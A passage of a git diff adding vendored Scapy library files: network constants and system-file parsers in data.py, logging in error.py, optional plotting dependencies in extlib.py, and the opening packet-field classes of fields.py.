+DLT_USB_LINUX = 189 +DLT_PPI = 192 +DLT_IEEE802_15_4_WITHFCS = 195 +DLT_BLUETOOTH_HCI_H4_WITH_PHDR = 201 +DLT_AX25_KISS = 202 +DLT_PPP_WITH_DIR = 204 +DLT_FC_2 = 224 +DLT_CAN_SOCKETCAN = 227 +DLT_IPV4 = 228 +DLT_IPV6 = 229 +DLT_IEEE802_15_4_NOFCS = 230 +DLT_USBPCAP = 249 +DLT_NETLINK = 253 +DLT_USB_DARWIN = 266 +DLT_BLUETOOTH_LE_LL = 251 +DLT_BLUETOOTH_LE_LL_WITH_PHDR = 256 +DLT_VSOCK = 271 +DLT_ETHERNET_MPACKET = 274 +DLT_BLUETOOTH_ESPRESSIF = 289 + +# From net/ipv6.h on Linux (+ Additions) +IPV6_ADDR_UNICAST = 0x01 +IPV6_ADDR_MULTICAST = 0x02 +IPV6_ADDR_CAST_MASK = 0x0F +IPV6_ADDR_LOOPBACK = 0x10 +IPV6_ADDR_GLOBAL = 0x00 +IPV6_ADDR_LINKLOCAL = 0x20 +IPV6_ADDR_SITELOCAL = 0x40 # deprecated since Sept. 2004 by RFC 3879 +IPV6_ADDR_SCOPE_MASK = 0xF0 +# IPV6_ADDR_COMPATv4 = 0x80 # deprecated; i.e. ::/96 +# IPV6_ADDR_MAPPED = 0x1000 # i.e.; ::ffff:0.0.0.0/96 +IPV6_ADDR_6TO4 = 0x0100 # Added to have more specific info (should be 0x0101 ?) # noqa: E501 +IPV6_ADDR_UNSPECIFIED = 0x10000 + +# from if_arp.h +ARPHRD_ETHER = 1 +ARPHRD_EETHER = 2 +ARPHRD_AX25 = 3 +ARPHRD_PRONET = 4 +ARPHRD_CHAOS = 5 +ARPHRD_IEEE802 = 6 +ARPHRD_ARCNET = 7 +ARPHRD_DLCI = 15 +ARPHRD_ATM = 19 +ARPHRD_METRICOM = 23 +ARPHRD_SLIP = 256 +ARPHRD_CSLIP = 257 +ARPHRD_SLIP6 = 258 +ARPHRD_CSLIP6 = 259 +ARPHRD_ADAPT = 264 +ARPHRD_CAN = 280 +ARPHRD_PPP = 512 +ARPHRD_CISCO = 513 +ARPHRD_RAWHDLC = 518 +ARPHRD_TUNNEL = 768 +ARPHRD_FRAD = 770 +ARPHRD_LOOPBACK = 772 +ARPHRD_LOCALTLK = 773 +ARPHRD_FDDI = 774 +ARPHRD_SIT = 776 +ARPHRD_FCPP = 784 +ARPHRD_FCAL = 785 +ARPHRD_FCPL = 786 +ARPHRD_FCFABRIC = 787 +ARPHRD_IRDA = 783 +ARPHRD_IEEE802_TR = 800 +ARPHRD_IEEE80211 = 801 +ARPHRD_IEEE80211_PRISM = 802 +ARPHRD_IEEE80211_RADIOTAP = 803 +ARPHRD_IEEE802154 = 804 +ARPHRD_NETLINK = 824 +ARPHRD_VSOCKMON = 826 # from pcap/pcap-linux.c +ARPHRD_LAPD = 8445 # from pcap/pcap-linux.c +ARPHRD_NONE = 0xFFFE + +ARPHRD_TO_DLT = { # netlink -> datalink + ARPHRD_ETHER: DLT_EN10MB, + ARPHRD_METRICOM: DLT_EN10MB, + ARPHRD_LOOPBACK: DLT_EN10MB, + ARPHRD_EETHER: DLT_EN3MB, + ARPHRD_AX25: DLT_AX25_KISS, + ARPHRD_PRONET: DLT_PRONET, + ARPHRD_CHAOS: DLT_CHAOS, + ARPHRD_CAN: DLT_LINUX_SLL, + ARPHRD_IEEE802_TR: DLT_IEEE802, + ARPHRD_IEEE802: DLT_IEEE802, + ARPHRD_ARCNET: DLT_ARCNET_LINUX, + ARPHRD_FDDI: DLT_FDDI, + ARPHRD_ATM: -1, + ARPHRD_IEEE80211: DLT_IEEE802_11, + ARPHRD_IEEE80211_PRISM: DLT_PRISM_HEADER, + ARPHRD_IEEE80211_RADIOTAP: DLT_IEEE802_11_RADIO, + ARPHRD_PPP: DLT_RAW, + ARPHRD_CISCO: DLT_C_HDLC, + ARPHRD_SIT: DLT_RAW, + ARPHRD_CSLIP: DLT_RAW, + ARPHRD_SLIP6: DLT_RAW, + ARPHRD_CSLIP6: DLT_RAW, + ARPHRD_ADAPT: DLT_RAW, + ARPHRD_SLIP: DLT_RAW, + ARPHRD_RAWHDLC: DLT_RAW, + ARPHRD_DLCI: DLT_RAW, + ARPHRD_FRAD: DLT_FRELAY, + ARPHRD_LOCALTLK: DLT_LTALK, + 18: DLT_IP_OVER_FC, + ARPHRD_FCPP: DLT_FC_2, + ARPHRD_FCAL: DLT_FC_2, + ARPHRD_FCPL: DLT_FC_2, + ARPHRD_FCFABRIC: DLT_FC_2, + ARPHRD_IRDA: DLT_LINUX_IRDA, + ARPHRD_LAPD: DLT_LINUX_LAPD, + ARPHRD_NONE: DLT_RAW, + ARPHRD_IEEE802154: DLT_IEEE802_15_4_NOFCS, + ARPHRD_NETLINK: DLT_NETLINK, + ARPHRD_VSOCKMON: DLT_VSOCK, +} + +# Constants for PPI header types. +PPI_DOT11COMMON = 2 +PPI_DOT11NMAC = 3 +PPI_DOT11NMACPHY = 4 +PPI_SPECTRUM_MAP = 5 +PPI_PROCESS_INFO = 6 +PPI_CAPTURE_INFO = 7 +PPI_AGGREGATION = 8 +PPI_DOT3 = 9 +PPI_GPS = 30002 +PPI_VECTOR = 30003 +PPI_SENSOR = 30004 +PPI_ANTENNA = 30005 +PPI_BTLE = 30006 + +# Human-readable type names for PPI header types. +PPI_TYPES = { + PPI_DOT11COMMON: 'dot11-common', + PPI_DOT11NMAC: 'dot11-nmac', + PPI_DOT11NMACPHY: 'dot11-nmacphy', + PPI_SPECTRUM_MAP: 'spectrum-map', + PPI_PROCESS_INFO: 'process-info', + PPI_CAPTURE_INFO: 'capture-info', + PPI_AGGREGATION: 'aggregation', + PPI_DOT3: 'dot3', + PPI_GPS: 'gps', + PPI_VECTOR: 'vector', + PPI_SENSOR: 'sensor', + PPI_ANTENNA: 'antenna', + PPI_BTLE: 'btle', +} + +# On windows, epoch is 01/02/1970 at 00:00 +EPOCH = calendar.timegm((1970, 1, 2, 0, 0, 0, 3, 1, 0)) - 86400 + +MTU = 0xffff # a.k.a give me all you have + +# In fact, IANA enterprise-numbers file available at +# http://www.iana.org/assignments/enterprise-numbers +# is simply huge (more than 2Mo and 600Ko in bz2). I'll +# add only most common vendors, and encountered values. +# -- arno +IANA_ENTERPRISE_NUMBERS = { + 9: "ciscoSystems", + 35: "Nortel Networks", + 43: "3Com", + 311: "Microsoft", + 2636: "Juniper Networks, Inc.", + 4526: "Netgear", + 5771: "Cisco Systems, Inc.", + 5842: "Cisco Systems", + 11129: "Google, Inc", + 16885: "Nortel Networks", +} + + +def load_protocols(filename, _fallback=None, _integer_base=10): + """"Parse /etc/protocols and return values as a dictionary.""" + spaces = re.compile(b"[ \t]+|\n") + dct = DADict(_name=filename) + + def _process_data(fdesc): + for line in fdesc: + try: + shrp = line.find(b"#") + if shrp >= 0: + line = line[:shrp] + line = line.strip() + if not line: + continue + lt = tuple(re.split(spaces, line)) + if len(lt) < 2 or not lt[0]: + continue + dct[lt[0]] = int(lt[1], _integer_base) + except Exception as e: + log_loading.info( + "Couldn't parse file [%s]: line [%r] (%s)", + filename, + line, + e, + ) + + try: + if not filename: + raise IOError + with open(filename, "rb") as fdesc: + _process_data(fdesc) + except IOError: + if _fallback: + _process_data(_fallback.split(b"\n")) + else: + log_loading.info("Can't open %s file", filename) + return dct + + +def load_ethertypes(filename): + """"Parse /etc/ethertypes and return values as a dictionary. + If unavailable, use the copy bundled with Scapy.""" + from scapy.libs.ethertypes import DATA + return load_protocols(filename, _fallback=DATA, _integer_base=16) + + +def load_services(filename): + spaces = re.compile(b"[ \t]+|\n") + tdct = DADict(_name="%s-tcp" % filename) + udct = DADict(_name="%s-udp" % filename) + try: + with open(filename, "rb") as fdesc: + for line in fdesc: + try: + shrp = line.find(b"#") + if shrp >= 0: + line = line[:shrp] + line = line.strip() + if not line: + continue + lt = tuple(re.split(spaces, line)) + if len(lt) < 2 or not lt[0]: + continue + if lt[1].endswith(b"/tcp"): + tdct[lt[0]] = int(lt[1].split(b'/')[0]) + elif lt[1].endswith(b"/udp"): + udct[lt[0]] = int(lt[1].split(b'/')[0]) + except Exception as e: + log_loading.warning( + "Couldn't parse file [%s]: line [%r] (%s)", + filename, + line, + e, + ) + except IOError: + log_loading.info("Can't open /etc/services file") + return tdct, udct + + +class ManufDA(DADict): + def fixname(self, val): + return plain_str(val) + + def __dir__(self): + return ["lookup", "reverse_lookup"] + + def _get_manuf_couple(self, mac): + oui = ":".join(mac.split(":")[:3]).upper() + return self.__dict__.get(oui, (mac, mac)) + + def _get_manuf(self, mac): + return self._get_manuf_couple(mac)[1] + + def _get_short_manuf(self, mac): + return self._get_manuf_couple(mac)[0] + + def _resolve_MAC(self, mac): + oui = ":".join(mac.split(":")[:3]).upper() + if oui in self: + return ":".join([self[oui][0]] + mac.split(":")[3:]) + return mac + + def lookup(self, mac): + """Find OUI name matching to a MAC""" + oui = ":".join(mac.split(":")[:3]).upper() + return self[oui] + + def reverse_lookup(self, name, case_sensitive=False): + """ + Find all MACs registered to a OUI + + :param name: the OUI name + :param case_sensitive: default to False + :returns: a dict of mac:tuples (Name, Extended Name) + """ + if case_sensitive: + filtr = lambda x, l: any(x == z for z in l) + else: + name = name.lower() + filtr = lambda x, l: any(x == z.lower() for z in l) + return {k: v for k, v in six.iteritems(self.__dict__) + if filtr(name, v)} + + +def load_manuf(filename): + """ + Loads manuf file from Wireshark. + + :param filename: the file to load the manuf file from + :returns: a ManufDA filled object + """ + manufdb = ManufDA(_name=filename) + with open(filename, "rb") as fdesc: + for line in fdesc: + try: + line = line.strip() + if not line or line.startswith(b"#"): + continue + parts = line.split(None, 2) + oui, shrt = parts[:2] + lng = parts[2].lstrip(b"#").strip() if len(parts) > 2 else "" + lng = lng or shrt + manufdb[oui] = plain_str(shrt), plain_str(lng) + except Exception: + log_loading.warning("Couldn't parse one line from [%s] [%r]", + filename, line, exc_info=True) + return manufdb + + +def select_path(directories, filename): + """Find filename among several directories""" + for directory in directories: + path = os.path.join(directory, filename) + if os.path.exists(path): + return path + + +if WINDOWS: + IP_PROTOS = load_protocols(os.environ["SystemRoot"] + "\\system32\\drivers\\etc\\protocol") # noqa: E501 + TCP_SERVICES, UDP_SERVICES = load_services( + os.environ["SystemRoot"] + "\\system32\\drivers\\etc\\services") # noqa: E501 + # Default values, will be updated by arch.windows + ETHER_TYPES = load_ethertypes(None) + MANUFDB = ManufDA() +else: + IP_PROTOS = load_protocols("/etc/protocols") + ETHER_TYPES = load_ethertypes("/etc/ethertypes") + TCP_SERVICES, UDP_SERVICES = load_services("/etc/services") + MANUFDB = ManufDA() + manuf_path = select_path( + ['/usr', '/usr/local', '/opt', '/opt/wireshark', + '/Applications/Wireshark.app/Contents/Resources'], + "share/wireshark/manuf" + ) + if manuf_path: + try: + MANUFDB = load_manuf(manuf_path) + except (IOError, OSError): + log_loading.warning("Cannot read wireshark manuf database") + + +##################### +# knowledge bases # +##################### + +class KnowledgeBase: + def __init__(self, filename): + self.filename = filename + self.base = None + + def lazy_init(self): + self.base = "" + + def reload(self, filename=None): + if filename is not None: + self.filename = filename + oldbase = self.base + self.base = None + self.lazy_init() + if self.base is None: + self.base = oldbase + + def get_base(self): + if self.base is None: + self.lazy_init() + return self.base diff --git a/libs/scapy/error.py b/libs/scapy/error.py new file mode 100755 index 0000000..d0f2712 --- /dev/null +++ b/libs/scapy/error.py @@ -0,0 +1,101 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Logging subsystem and basic exception class. +""" + +############################# +# Logging subsystem # +############################# + + +import logging +import traceback +import time + + +class Scapy_Exception(Exception): + pass + + +class ScapyInvalidPlatformException(Scapy_Exception): + pass + + +class ScapyNoDstMacException(Scapy_Exception): + pass + + +class ScapyFreqFilter(logging.Filter): + def __init__(self): + logging.Filter.__init__(self) + self.warning_table = {} + + def filter(self, record): + from scapy.config import conf + wt = conf.warning_threshold + if wt > 0: + stk = traceback.extract_stack() + caller = None + for f, l, n, c in stk: + if n == 'warning': + break + caller = l + tm, nb = self.warning_table.get(caller, (0, 0)) + ltm = time.time() + if ltm - tm > wt: + tm = ltm + nb = 0 + else: + if nb < 2: + nb += 1 + if nb == 2: + record.msg = "more " + record.msg + else: + return 0 + self.warning_table[caller] = (tm, nb) + return 1 + + +# Inspired from python-colorbg (MIT) +class ScapyColoredFormatter(logging.Formatter): + """A subclass of logging.Formatter that handles colors.""" + levels_colored = { + 'DEBUG': 'reset', + 'INFO': 'reset', + 'WARNING': 'bold+yellow', + 'ERROR': 'bold+red', + 'CRITICAL': 'bold+white+bg_red' + } + + def format(self, record): + message = super(ScapyColoredFormatter, self).format(record) + from scapy.config import conf + message = conf.color_theme.format( + message, + self.levels_colored[record.levelname] + ) + return message + + +log_scapy = logging.getLogger("scapy") +log_scapy.setLevel(logging.WARNING) +log_scapy.addHandler(logging.NullHandler()) +# logs at runtime +log_runtime = logging.getLogger("scapy.runtime") +log_runtime.addFilter(ScapyFreqFilter()) +# logs in interactive functions +log_interactive = logging.getLogger("scapy.interactive") +log_interactive.setLevel(logging.DEBUG) +# logs when loading Scapy +log_loading = logging.getLogger("scapy.loading") + + +def warning(x, *args, **kargs): + """ + Prints a warning during runtime. + """ + log_runtime.warning(x, *args, **kargs) diff --git a/libs/scapy/extlib.py b/libs/scapy/extlib.py new file mode 100755 index 0000000..6a6eb44 --- /dev/null +++ b/libs/scapy/extlib.py @@ -0,0 +1,63 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +External link to programs +""" + +import os +import subprocess +from scapy.error import log_loading + +# Notice: this file must not be called before main.py, if started +# in interactive mode, because it needs to be called after the +# logger has been setup, to be able to print the warning messages + +# MATPLOTLIB + +try: + from matplotlib import get_backend as matplotlib_get_backend + from matplotlib import pyplot as plt + from matplotlib.lines import Line2D + MATPLOTLIB = 1 + if "inline" in matplotlib_get_backend(): + MATPLOTLIB_INLINED = 1 + else: + MATPLOTLIB_INLINED = 0 + MATPLOTLIB_DEFAULT_PLOT_KARGS = {"marker": "+"} +# RuntimeError to catch gtk "Cannot open display" error +except (ImportError, RuntimeError): + plt = None + Line2D = None + MATPLOTLIB = 0 + MATPLOTLIB_INLINED = 0 + MATPLOTLIB_DEFAULT_PLOT_KARGS = dict() + log_loading.info("Can't import matplotlib. Won't be able to plot.") + +# PYX + + +def _test_pyx(): + """Returns if PyX is correctly installed or not""" + try: + with open(os.devnull, 'wb') as devnull: + r = subprocess.check_call(["pdflatex", "--version"], + stdout=devnull, stderr=subprocess.STDOUT) + except (subprocess.CalledProcessError, OSError): + return False + else: + return r == 0 + + +try: + import pyx # noqa: F401 + if _test_pyx(): + PYX = 1 + else: + log_loading.info("PyX dependencies are not installed ! Please install TexLive or MikTeX.") # noqa: E501 + PYX = 0 +except ImportError: + log_loading.info("Can't import PyX. Won't be able to use psdump() or pdfdump().") # noqa: E501 + PYX = 0 diff --git a/libs/scapy/fields.py b/libs/scapy/fields.py new file mode 100755 index 0000000..2d18d01 --- /dev/null +++ b/libs/scapy/fields.py @@ -0,0 +1,2726 @@ +# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Michael Farrell +# This program is published under a GPLv2 license + +""" +Fields: basic data structures that make up parts of packets. +""" + +from __future__ import absolute_import +import calendar +import collections +import copy +import inspect +import socket +import struct +import time +from types import MethodType +from uuid import UUID + + +from scapy.config import conf +from scapy.dadict import DADict +from scapy.volatile import RandBin, RandByte, RandEnumKeys, RandInt, \ + RandIP, RandIP6, RandLong, RandMAC, RandNum, RandShort, RandSInt, \ + RandSByte, RandTermString, RandUUID, VolatileValue, RandSShort, \ + RandSLong, RandFloat +from scapy.data import EPOCH +from scapy.error import log_runtime, Scapy_Exception +from scapy.compat import bytes_hex, chb, orb, plain_str, raw, bytes_encode +from scapy.pton_ntop import inet_ntop, inet_pton +from scapy.utils import inet_aton, inet_ntoa, lhex, mac2str, str2mac +from scapy.utils6 import in6_6to4ExtractAddr, in6_isaddr6to4, \ + in6_isaddrTeredo, in6_ptop, Net6, teredoAddrExtractInfo +from scapy.base_classes import BasePacket, Gen, Net, Field_metaclass +from scapy.error import warning +import scapy.modules.six as six +from scapy.modules.six.moves import range +from scapy.modules.six import integer_types + + +""" +Helper class to specify a protocol extendable for runtime modifications +""" + + +class ObservableDict(dict): + def __init__(self, *args, **kw): + self.observers = [] + super(ObservableDict, self).__init__(*args, **kw) + + def observe(self, observer): + self.observers.append(observer) + + def __setitem__(self, key, value): + for o in self.observers: + o.notify_set(self, key, value) + super(ObservableDict, self).__setitem__(key, value) + + def __delitem__(self, key): + for o in self.observers: + o.notify_del(self, key) + super(ObservableDict, self).__delitem__(key) + + def update(self, anotherDict): + for k in anotherDict: + self[k] = anotherDict[k] + + +############ +# Fields # +############ + +class Field(six.with_metaclass(Field_metaclass, object)): + """ + For more information on how this work, please refer to + http://www.secdev.org/projects/scapy/files/scapydoc.pdf + chapter ``Adding a New Field`` + """ + __slots__ = [ + "name", + "fmt", + "default", + "sz", + "owners", + "struct" + ] + islist = 0 + ismutable = False + holds_packets = 0 + + def __init__(self, name, default, fmt="H"): + self.name = name + if fmt[0] in "@=<>!": + self.fmt = fmt + else: + self.fmt = "!" + fmt + self.struct = struct.Struct(self.fmt) + self.default = self.any2i(None, default) + self.sz = struct.calcsize(self.fmt) + self.owners = [] + + def register_owner(self, cls): + self.owners.append(cls) + + def i2len(self, pkt, x): + """Convert internal value to a length usable by a FieldLenField""" + return self.sz + + def i2count(self, pkt, x): + """Convert internal value to a number of elements usable by a FieldLenField. + Always 1 except for list fields""" + return 1 + + def h2i(self, pkt, x): + """Convert human value to internal value""" + return x + + def i2h(self, pkt, x): + """Convert internal value to human value""" + return x + + def m2i(self, pkt, x): + """Convert machine value to internal value""" + return x + + def i2m(self, pkt, x): + """Convert internal value to machine value""" + if x is None: + x = 0 + elif isinstance(x, str): + return bytes_encode(x) + return x + + def any2i(self, pkt, x): + """Try to understand the most input values possible and make an internal value from them""" # noqa: E501 + return self.h2i(pkt, x) + + def i2repr(self, pkt, x): + """Convert internal value to a nice representation""" + return repr(self.i2h(pkt, x)) + + def addfield(self, pkt, s, val): + """Add an internal value to a string + + Copy the network representation of field `val` (belonging to layer + `pkt`) to the raw string packet `s`, and return the new string packet. + """ + return s + self.struct.pack(self.i2m(pkt, val)) + + def getfield(self, pkt, s): + """Extract an internal value from a string + + Extract from the raw packet `s` the field value belonging to layer + `pkt`. + + Returns a two-element list, + first the raw packet string after having removed the extracted field, + second the extracted field itself in internal representation. + """ + return s[self.sz:], self.m2i(pkt, self.struct.unpack(s[:self.sz])[0]) + + def do_copy(self, x): + if hasattr(x, "copy"): + return x.copy() + if isinstance(x, list): + x = x[:] + for i in range(len(x)): + if isinstance(x[i], BasePacket): + x[i] = x[i].copy() + return x + + def __repr__(self): + return "" % (",".join(x.__name__ for x in self.owners), self.name) # noqa: E501 + + def copy(self): + return copy.copy(self) + + def randval(self): + """Return a volatile object whose value is both random and suitable for this field""" # noqa: E501 + fmtt = self.fmt[-1] + if fmtt in "BbHhIiQq": + return {"B": RandByte, "b": RandSByte, + "H": RandShort, "h": RandSShort, + "I": RandInt, "i": RandSInt, + "Q": RandLong, "q": RandSLong}[fmtt]() + elif fmtt == "s": + if self.fmt[0] in "0123456789": + value = int(self.fmt[:-1]) + else: + value = int(self.fmt[1:-1]) + return RandBin(value) + else: + warning("no random class for [%s] (fmt=%s).", self.name, self.fmt) + + +class Emph(object): + """Empathize sub-layer for display""" + __slots__ = ["fld"] + + def __init__(self, fld): + self.fld = fld + + def __getattr__(self, attr): + return getattr(self.fld, attr) + + def __eq__(self, other): + return self.fld == other + + def __ne__(self, other): + # Python 2.7 compat + return not self == other + + __hash__ = None + + +class ActionField(object): + __slots__ = ["_fld", "_action_method", "_privdata"] + + def __init__(self, fld, action_method, **kargs): + self._fld = fld + self._action_method = action_method + self._privdata = kargs + + def any2i(self, pkt, val): + getattr(pkt, self._action_method)(val, self._fld, **self._privdata) + return getattr(self._fld, "any2i")(pkt, val) + + def __getattr__(self, attr): + return getattr(self._fld, attr) + + +class ConditionalField(object): + __slots__ = ["fld", "cond"] + + def __init__(self, fld, cond): + self.fld = fld + self.cond = cond + + def _evalcond(self, pkt): + return self.cond(pkt) + + def getfield(self, pkt, s): + if self._evalcond(pkt): + return self.fld.getfield(pkt, s) + else: + return s, None + + def addfield(self, pkt, s, val): + if self._evalcond(pkt): + return self.fld.addfield(pkt, s, val) + else: + return s + + def __getattr__(self, attr): + return getattr(self.fld, attr) + + +class MultipleTypeField(object): + """MultipleTypeField are used for fields that can be implemented by +various Field subclasses, depending on conditions on the packet. + +It is initialized with `flds` and `dflt`. + +`dflt` is the default field type, to be used when none of the +conditions matched the current packet. + +`flds` is a list of tuples (`fld`, `cond`), where `fld` if a field +type, and `cond` a "condition" to determine if `fld` is the field type +that should be used. + +`cond` is either: + + - a callable `cond_pkt` that accepts one argument (the packet) and + returns True if `fld` should be used, False otherwise. + + - a tuple (`cond_pkt`, `cond_pkt_val`), where `cond_pkt` is the same + as in the previous case and `cond_pkt_val` is a callable that + accepts two arguments (the packet, and the value to be set) and + returns True if `fld` should be used, False otherwise. + +See scapy.layers.l2.ARP (type "help(ARP)" in Scapy) for an example of +use. + + """ + + __slots__ = ["flds", "dflt", "name"] + + def __init__(self, flds, dflt): + self.flds = flds + self.dflt = dflt + self.name = self.dflt.name + + def _iterate_fields_cond(self, pkt, val, use_val): + """Internal function used by _find_fld_pkt & _find_fld_pkt_val""" + # Iterate through the fields + for fld, cond in self.flds: + if isinstance(cond, tuple): + if use_val: + if cond[1](pkt, val): + return fld + continue + else: + cond = cond[0] + if cond(pkt): + return fld + return self.dflt + + def _find_fld_pkt(self, pkt): + """Given a Packet instance `pkt`, returns the Field subclass to be +used. If you know the value to be set (e.g., in .addfield()), use +._find_fld_pkt_val() instead. + + """ + return self._iterate_fields_cond(pkt, None, False) + + def _find_fld_pkt_val(self, pkt, val): + """Given a Packet instance `pkt` and the value `val` to be set, +returns the Field subclass to be used, and the updated `val` if necessary. + + """ + fld = self._iterate_fields_cond(pkt, val, True) + # Default ? (in this case, let's make sure it's up-do-date) + dflts_pkt = pkt.default_fields + if val == dflts_pkt[self.name] and self.name not in pkt.fields: + dflts_pkt[self.name] = fld.default + val = fld.default + return fld, val + + def _find_fld(self): + """Returns the Field subclass to be used, depending on the Packet +instance, or the default subclass. + +DEV: since the Packet instance is not provided, we have to use a hack +to guess it. It should only be used if you cannot provide the current +Packet instance (for example, because of the current Scapy API). + +If you have the current Packet instance, use ._find_fld_pkt_val() (if +the value to set is also known) of ._find_fld_pkt() instead. + + """ + # Hack to preserve current Scapy API + # See https://stackoverflow.com/a/7272464/3223422 + frame = inspect.currentframe().f_back.f_back + while frame is not None: + try: + pkt = frame.f_locals['self'] + except KeyError: + pass + else: + if isinstance(pkt, tuple(self.dflt.owners)): + if not pkt.default_fields: + # Packet not initialized + return self.dflt + return self._find_fld_pkt(pkt) + frame = frame.f_back + return self.dflt + + def getfield(self, pkt, s): + return self._find_fld_pkt(pkt).getfield(pkt, s) + + def addfield(self, pkt, s, val): + fld, val = self._find_fld_pkt_val(pkt, val) + return fld.addfield(pkt, s, val) + + def any2i(self, pkt, val): + fld, val = self._find_fld_pkt_val(pkt, val) + return fld.any2i(pkt, val) + + def h2i(self, pkt, val): + fld, val = self._find_fld_pkt_val(pkt, val) + return fld.h2i(pkt, val) + + def i2h(self, pkt, val): + fld, val = self._find_fld_pkt_val(pkt, val) + return fld.i2h(pkt, val) + + def i2m(self, pkt, val): + fld, val = self._find_fld_pkt_val(pkt, val) + return fld.i2m(pkt, val) + + def i2len(self, pkt, val): + fld, val = self._find_fld_pkt_val(pkt, val) + return fld.i2len(pkt, val) + + def i2repr(self, pkt, val): + fld, val = self._find_fld_pkt_val(pkt, val) + return fld.i2repr(pkt, val) + + def register_owner(self, cls): + for fld, _ in self.flds: + fld.owners.append(cls) + self.dflt.owners.append(cls) + + def __getattr__(self, attr): + return getattr(self._find_fld(), attr) + + +class PadField(object): + """Add bytes after the proxified field so that it ends at the specified + alignment from its beginning""" + __slots__ = ["_fld", "_align", "_padwith"] + + def __init__(self, fld, align, padwith=None): + self._fld = fld + self._align = align + self._padwith = padwith or b"\x00" + + def padlen(self, flen): + return -flen % self._align + + def getfield(self, pkt, s): + remain, val = self._fld.getfield(pkt, s) + padlen = self.padlen(len(s) - len(remain)) + return remain[padlen:], val + + def addfield(self, pkt, s, val): + sval = self._fld.addfield(pkt, b"", val) + return s + sval + struct.pack("%is" % (self.padlen(len(sval))), self._padwith) # noqa: E501 + + def __getattr__(self, attr): + return getattr(self._fld, attr) + + +class ReversePadField(PadField): + """Add bytes BEFORE the proxified field so that it starts at the specified + alignment from its beginning""" + + def getfield(self, pkt, s): + # We need to get the length that has already been dissected + padlen = self.padlen(len(pkt.original) - len(s)) + remain, val = self._fld.getfield(pkt, s[padlen:]) + return remain, val + + def addfield(self, pkt, s, val): + sval = self._fld.addfield(pkt, b"", val) + return s + struct.pack("%is" % (self.padlen(len(s))), self._padwith) + sval # noqa: E501 + + +class FCSField(Field): + """Special Field that gets its value from the end of the *packet* + (Note: not layer, but packet). + + Mostly used for FCS + """ + def getfield(self, pkt, s): + previous_post_dissect = pkt.post_dissect + val = self.m2i(pkt, struct.unpack(self.fmt, s[-self.sz:])[0]) + + def _post_dissect(self, s): + # Reset packet to allow post_build + self.raw_packet_cache = None + self.post_dissect = previous_post_dissect + return previous_post_dissect(s) + pkt.post_dissect = MethodType(_post_dissect, pkt) + return s[:-self.sz], val + + def addfield(self, pkt, s, val): + previous_post_build = pkt.post_build + value = struct.pack(self.fmt, self.i2m(pkt, val)) + + def _post_build(self, p, pay): + pay += value + self.post_build = previous_post_build + return previous_post_build(p, pay) + pkt.post_build = MethodType(_post_build, pkt) + return s + + def i2repr(self, pkt, x): + return lhex(self.i2h(pkt, x)) + + +class DestField(Field): + __slots__ = ["defaultdst"] + # Each subclass must have its own bindings attribute + # bindings = {} + + def __init__(self, name, default): + self.defaultdst = default + + def dst_from_pkt(self, pkt): + for addr, condition in self.bindings.get(pkt.payload.__class__, []): + try: + if all(pkt.payload.getfieldval(field) == value + for field, value in six.iteritems(condition)): + return addr + except AttributeError: + pass + return self.defaultdst + + @classmethod + def bind_addr(cls, layer, addr, **condition): + cls.bindings.setdefault(layer, []).append((addr, condition)) + + +class MACField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "6s") + + def i2m(self, pkt, x): + if x is None: + return b"\0\0\0\0\0\0" + try: + x = mac2str(x) + except (struct.error, OverflowError): + x = bytes_encode(x) + + return x + + def m2i(self, pkt, x): + return str2mac(x) + + def any2i(self, pkt, x): + if isinstance(x, bytes) and len(x) == 6: + x = self.m2i(pkt, x) + return x + + def i2repr(self, pkt, x): + x = self.i2h(pkt, x) + if self in conf.resolve: + x = conf.manufdb._resolve_MAC(x) + return x + + def randval(self): + return RandMAC() + + +class IPField(Field): + slots = [] + + def __init__(self, name, default): + Field.__init__(self, name, default, "4s") + + def h2i(self, pkt, x): + if isinstance(x, bytes): + x = plain_str(x) + if isinstance(x, str): + try: + inet_aton(x) + except socket.error: + x = Net(x) + elif isinstance(x, list): + x = [self.h2i(pkt, n) for n in x] + return x + + def resolve(self, x): + if self in conf.resolve: + try: + ret = socket.gethostbyaddr(x)[0] + except Exception: + pass + else: + if ret: + return ret + return x + + def i2m(self, pkt, x): + if x is None: + return b'\x00\x00\x00\x00' + return inet_aton(plain_str(x)) + + def m2i(self, pkt, x): + return inet_ntoa(x) + + def any2i(self, pkt, x): + return self.h2i(pkt, x) + + def i2repr(self, pkt, x): + r = self.resolve(self.i2h(pkt, x)) + return r if isinstance(r, str) else repr(r) + + def randval(self): + return RandIP() + + +class SourceIPField(IPField): + __slots__ = ["dstname"] + + def __init__(self, name, dstname): + IPField.__init__(self, name, None) + self.dstname = dstname + + def __findaddr(self, pkt): + if conf.route is None: + # unused import, only to initialize conf.route + import scapy.route # noqa: F401 + dst = ("0.0.0.0" if self.dstname is None + else getattr(pkt, self.dstname) or "0.0.0.0") + if isinstance(dst, (Gen, list)): + r = {conf.route.route(str(daddr)) for daddr in dst} + if len(r) > 1: + warning("More than one possible route for %r" % (dst,)) + return min(r)[1] + return conf.route.route(dst)[1] + + def i2m(self, pkt, x): + if x is None: + x = self.__findaddr(pkt) + return IPField.i2m(self, pkt, x) + + def i2h(self, pkt, x): + if x is None: + x = self.__findaddr(pkt) + return IPField.i2h(self, pkt, x) + + +class IP6Field(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "16s") + + def h2i(self, pkt, x): + if isinstance(x, bytes): + x = plain_str(x) + if isinstance(x, str): + try: + x = in6_ptop(x) + except socket.error: + x = Net6(x) + elif isinstance(x, list): + x = [self.h2i(pkt, n) for n in x] + return x + + def i2m(self, pkt, x): + if x is None: + x = "::" + return inet_pton(socket.AF_INET6, plain_str(x)) + + def m2i(self, pkt, x): + return inet_ntop(socket.AF_INET6, x) + + def any2i(self, pkt, x): + return self.h2i(pkt, x) + + def i2repr(self, pkt, x): + if x is None: + return self.i2h(pkt, x) + elif not isinstance(x, Net6) and not isinstance(x, list): + if in6_isaddrTeredo(x): # print Teredo info + server, _, maddr, mport = teredoAddrExtractInfo(x) + return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr, mport) # noqa: E501 + elif 